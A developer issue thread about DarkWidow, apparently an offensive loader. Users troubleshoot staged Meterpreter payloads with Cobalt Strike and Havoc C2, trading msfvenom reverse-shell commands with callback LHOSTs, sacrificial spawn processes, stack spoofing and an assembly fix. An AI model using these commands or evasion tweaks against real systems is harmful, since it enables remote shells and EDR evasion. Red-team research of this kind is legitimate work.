Staged payload

[hawaii67]

Hey there,

absolutely great work. Thanks for sharing.

Did you ever try a staged payload? Acrtually the stager is executing perfect but the sacrificial process: c:\windows\system32\SecurityHealthSystray.exe is dying before the stage is loaded from the C2 server. Are there any special requirements for the shellcode?

[reveng007]

I actually tried this: msfvenom -p windows/x64/shell_reverse_tcp -ax64 LHOST=192.168.0.114 LPORT=1234 -f csharp

It is a stageless btw

Canu share some screenshots for the above issue

And what msfvenom cmd u used?

I will test it out in my free time then !!

[hawaii67]

I tried this: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=xxxxxx LPORT=443 -f c EXITFUNC=thread

The stager connects to msf but then dies since the stage is not downloaded:

msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  3         meterpreter x64/windows               xxxxxxx:443 -> xxxxxx:65319 

msf6 exploit(multi/handler) > 
[-] Meterpreter session 3 is not valid and will be closed
[*] xxxxxxx - Meterpreter session 3 closed.
[*] xxxxxxx - Meterpreter session 3 closed.  Reason: Died

[reveng007]

Hey sorry man, for the delay! I have mitigated this issue, it will be available in the next release! One thing I noticed that, "c:\windows\system32\SecurityHealthSystray.exe" is getting killed, ig this is unstable!

Try out with, "C:\Users\{user}\AppData\Roaming\Zoom\bin\Zoom.exe" (env specific) and "c:\windows\system32\Runtimebroker.exe" (Much stabler)

Can u check with the above file path to SPAWN and recheck whether it is working or not on older release. Else within few weeks or so, New version is InComing!

Btw. thanks for letting me know abt this :)

New Version of DarkWidow (Synthetic Stack Spoofing Enabled):
msfvenom code I used:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.114 LPORT=1234 -f csharp EXITFUNC=thread

Also, I will try adding DarkLoadLibrary capability (https://github.com/bats3c/DarkLoadLibrary and https://github.com/Cracked5pider/LdrLibraryEx) for manual loading of dlls to evade image load Kernel Callbacks.

[hawaii67]

Thanks for having a look! Sorry mate, I have the same issue with different SPAWN processes (Runtimebroker.exe, etc.). The process dies immediately after connecting to msf. Maybe a local, issue? I have Win11 version 23H2.

[hawaii67]

Hello again.

V2 is working for me, even with staged payloads. Thanks for your work.

But you have to change

lea rbx, [fixup]

to

lea rbx, [rel fixup]

in test_nasm.nasm

[reveng007]

Hey, no problem! Are you suggesting me to use rel keyword to perform rip-relative addressing mode ?

Btw, thanks for pointing this out to me :)

Can u pls let me know, what help / difference would that make if we change that/ don't change that, cause I'm quite new to rel keyword ?

[hawaii67]

Actually without changing anything, I receive this error message:

test_nasm.o:test_nasm.asm:(.text+0xb1): relocation truncated to fit: IMAGE_REL_AMD64_ADDR32 against `.text'
collect2.exe: error: ld returned 1 exit status

So IMHO we need to use RIP-relative addressing because ld is trying to link a relocatable image. In an effective address structure ([base + index*scale + offset]) the offset part is limited to 32 bits, even on x86-64 mode.

lea rbx, [fixup] in x86-64 is a valid instruction, but fixupis a 32 bits offset, not a 64 bits address. But all addresses in x86-64 must have 64 bits in size. When using a relative to RIP addressing the offset part is the displacement of the actual address relative to RIP and no relocation is needed.

[brucebatman]

Thanks to @reveng007 for this hard work! good job.

Just to confirm with V2 on my end, and the proposed modifications @hawaii67 proposed, i was able to get a staged payload to work with CS.

[reveng007]

Actually without changing anything, I receive this error message:

test_nasm.o:test_nasm.asm:(.text+0xb1): relocation truncated to fit: IMAGE_REL_AMD64_ADDR32 against `.text'
collect2.exe: error: ld returned 1 exit status

So IMHO we need to use RIP-relative addressing because ld is trying to link a relocatable image. In an effective address structure ([base + index*scale + offset]) the offset part is limited to 32 bits, even on x86-64 mode.

lea rbx, [fixup] in x86-64 is a valid instruction, but fixupis a 32 bits offset, not a 64 bits address. But all addresses in x86-64 must have 64 bits in size. When using a relative to RIP addressing the offset part is the displacement of the actual address relative to RIP and no relocation is needed.

Again, thanks a lot for pointing this out to me :)

Did you use this file to compile, compile_darkwidow.bat (https://github.com/reveng007/DarkWidow/blob/main/V2-src/compile_darkwidow.bat) ?

the compile command is this:

@ECHO OFF

del spoof_DarkWidow.exe
nasm.exe -f win64 test_nasm.asm -o test_nasm.o
gcc spoof_DarkWidow.c -masm=intel test_nasm.o -o spoof_DarkWidow.exe
del test_nasm.o

I got this thing:

Cause I am not getting this error u mentioned earlier, I just wanna know some internals that's only it :)

With lea rbx, [rel fixup] also it worked for me with Havoc! Actually I don't have CS, I can't really test that !

If you don't have a problem, can we jump into a call or something ? I just wanna see it. Are u on linkedin or twitter?

[hawaii67]

Yes I use compile_darkwidow.bat and receive the same thing like you (it's just warnings).

Weird you don't get that error without using rel. I will try on another notebook. Sure we can talk but I'm not an assembly guru :-)

[reveng007]

@hawaii67 What's your LinkedIn/ twitter handle ?

[hawaii67]

I'll contact you this weekend (I'm afk for the rest of the week)

[reveng007]

Sure! Thanks